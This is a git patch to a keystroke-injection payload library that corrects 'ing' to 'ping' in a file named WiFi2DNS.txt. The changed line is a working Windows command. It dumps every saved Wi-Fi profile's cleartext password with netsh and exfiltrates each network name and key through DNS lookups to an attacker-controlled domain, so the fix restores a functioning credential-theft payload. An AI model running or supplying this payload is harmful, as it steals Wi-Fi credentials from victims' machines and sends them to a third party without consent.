From b5448cc7fe847acc7e1eb0341eadb8c9c991aedc Mon Sep 17 00:00:00 2001 From: Keld Norman Date: Mon, 11 Oct 2021 22:49:34 +0200 Subject: [PATCH] Add p to ping.. doh Add p to ping (it was missing) --- payloads/library/exfiltration/WiFi2DNS.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/exfiltration/WiFi2DNS.txt b/payloads/library/exfiltration/WiFi2DNS.txt index 2b1ff3a..d30c901 100644 --- a/payloads/library/exfiltration/WiFi2DNS.txt +++ b/payloads/library/exfiltration/WiFi2DNS.txt @@ -38,7 +38,7 @@ STRING @echo off DELAY 500 ENTER DELAY 500 -STRING for /f "tokens=3* delims=: " %a IN ('netsh wlan show profiles ^|findstr /c:" " ^|findstr ":"') do for /f "tokens=3 delims=: " %c in ('netsh wlan sh pr "%b" key^=clear 2^>nul^|findstr /c:": "^|findstr "Key Content"') do ing -n 1 -w 1000 -4 %b.%c.dns.yourdomain_where_you_have_a_dns_sniffer_and_NS_record_on.com > nul +STRING for /f "tokens=3* delims=: " %a IN ('netsh wlan show profiles ^|findstr /c:" " ^|findstr ":"') do for /f "tokens=3 delims=: " %c in ('netsh wlan sh pr "%b" key^=clear 2^>nul^|findstr /c:": "^|findstr "Key Content"') do ping -n 1 -w 1000 -4 %b.%c.dns.yourdomain_where_you_have_a_dns_sniffer_and_NS_record_on.com > nul DELAY 500 ENTER DELAY 500